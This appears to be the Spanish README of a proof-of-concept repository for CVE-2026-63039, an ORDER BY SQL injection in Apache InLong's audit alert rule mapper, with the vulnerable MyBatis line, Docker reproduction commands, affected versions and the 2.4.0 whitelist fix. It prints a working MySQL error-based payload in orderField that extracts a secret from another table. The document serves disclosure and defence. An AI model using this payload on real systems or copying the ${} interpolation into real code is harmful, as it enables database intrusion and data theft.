
Prueba de concepto para CVE-2026-63039, que demuestra una inyección SQL de tipo ORDER BY en AuditAlertRule de Apache InLong mediante orderField/orderType, con un reproductor basado en Docker y verificación de la corrección.
AuditAlertRule inyección SQL en ORDER BYReproductor de prueba de concepto ejecutable para la inyección SQL en la consulta de reglas de alerta de auditoría de Apache InLong.
El mapper del manager de InLong AuditAlertRuleEntityMapper.selectByCondition filtra con parámetros seguros de MyBatis #{}, pero ordena con interpolación de cadenas ${} de dos campos de la solicitud:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField y orderType provienen de la solicitud paginada (AuditAlertRulePageRequest), por lo que están controlados por el atacante y se concatenan textualmente en el SQL: inyección SQL en ORDER BY (CWE-89). Este PoC inyecta una carga útil basada en errores de MySQL en orderField y lee un secreto de una , demostrando la divulgación arbitraria de datos.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
Salida esperada en la ruta de código vulnerable:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| Propiedad | Valor |
|---|---|
| Proyecto | Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| Clase | CWE-89 Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL') |
| Vector de ataque | Los campos orderField / orderType de una solicitud de página de reglas de alerta de auditoría |
| Impacto | Ejecución arbitraria de SQL / divulgación de datos contra la base de datos del manager de InLong |
| Versiones afectadas | desde 2.0.0 anteriores a 2.4.0 |
| Versión corregida | 2.4.0 |
| Aviso | CVE-2026-63039 |
| Crédito | Andrea Cosentino |
Apache InLong 2.4.0 valida orderField / orderType contra una lista blanca de columnas ordenables y direcciones conocidas antes de que lleguen al mapper (un nombre de columna ORDER BY no puede vincularse como parámetro #{}, por lo que las entradas de ordenación deben validarse en lugar de parametrizarse).
El mapper de MyBatis, la entidad y el pojo de solicitud en este repositorio replican los originales de InLong, por lo que el punto de inyección (order by ${request.orderField} ${request.orderType}) se reproduce textualmente.
Este repositorio se publica con fines educativos y defensivos: para ayudar a los usuarios de Apache InLong a comprender la vulnerabilidad, verificar si están afectados y confirmar que la actualización la resuelve. La carga útil solo lee un secreto de demostración de una tabla local. No utilice este material contra sistemas que no posea u opere.